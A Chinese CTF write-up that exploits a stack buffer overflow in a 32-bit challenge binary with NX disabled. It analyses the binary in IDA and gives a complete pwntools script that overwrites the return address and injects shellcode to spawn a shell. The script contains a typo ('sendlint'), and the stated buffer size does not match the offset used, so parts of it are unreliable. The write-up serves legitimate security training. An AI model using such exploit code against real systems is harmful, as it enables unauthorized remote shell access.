赞
踩
题目来源
下载链接(密码akcz)
CTF的时候需要的是获取系统shell,然后通过shell去拿到flag。
条件所限,那我们就先将程序放本地。也就是本地机也充当远程服务器角色
程序输出一段应该是内存地址的16位字符串;接着要求我们输入,之后就结束运行程序。
程序为32位动态链接的ELF文件
可以看到NX保护关了,如果开启则我们的shellcode无法运行;checksec各种保护措施
将程序拉到IDA分析;打开main()
,按F5
显示对应伪C代码;
并没有有用信息,接着打开foo()
函数
函数体内首先定义一个字符变量buf
;然后输出buf
在内存的地址;接着调用read
函数向buf
写入字符后返回。
数据的写入是从低位向高位写的。如果超过这个变量原定空间,继续向高位写,也就造成溢出。
定义的buf
变量只有1字节内存空间,但是read()
从变量处写入0x100u字节,也就是造成溢出了。
结合本题需要获取shell,而且NX关闭,也就是可以控制函数返回地址eip跳转到shellcode的内存地址。(shellcode简单点理解就是运行了就获得了shell的对话窗口)
已知条件和目标:
shellcode注入位置自主选择,方便就选择在eip的下一个内存单元中。
结合IDA对栈空间的分析,payload的基本结构就清晰了:
payload = buf内存地址 + (ebp) + shellcode内存地址(eip) + shellcode代码
# -*- coding: utf-8 -*- from pwn import * context(os='linux',arch='i386',log_level='debug') #载入程序 pwn = process('./pwn2') #链接远程服务器使用下面这条(也就是题目在服务器上) #pwn = remote([ip],[port]) #获取buf内存地址;去除末尾换行符,并转换为数字类型 bufAddr = int(pwn.recvline()[:-1],16) #生成shellcode。并转换为机器码 shell = asm(shellcraft.i386.linux.sh()) #计算shellcode内存地址 shellAddr = bufAddr + 0x1c + 0x4 + 0x4 payload = 'A'*0x1c + 'A'*0x4 + p32(shellAddr) + shell pwn.sendlint(payload) #将程序控制权交给用户,相当于自用运行 pwn.interactive()
通过asm(shellcraft.i386.linux.sh())
生成转换shellcode
read()
函数的第三个参数为写入的字节大小,注意查看变量能否容纳下,否则造成溢出
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。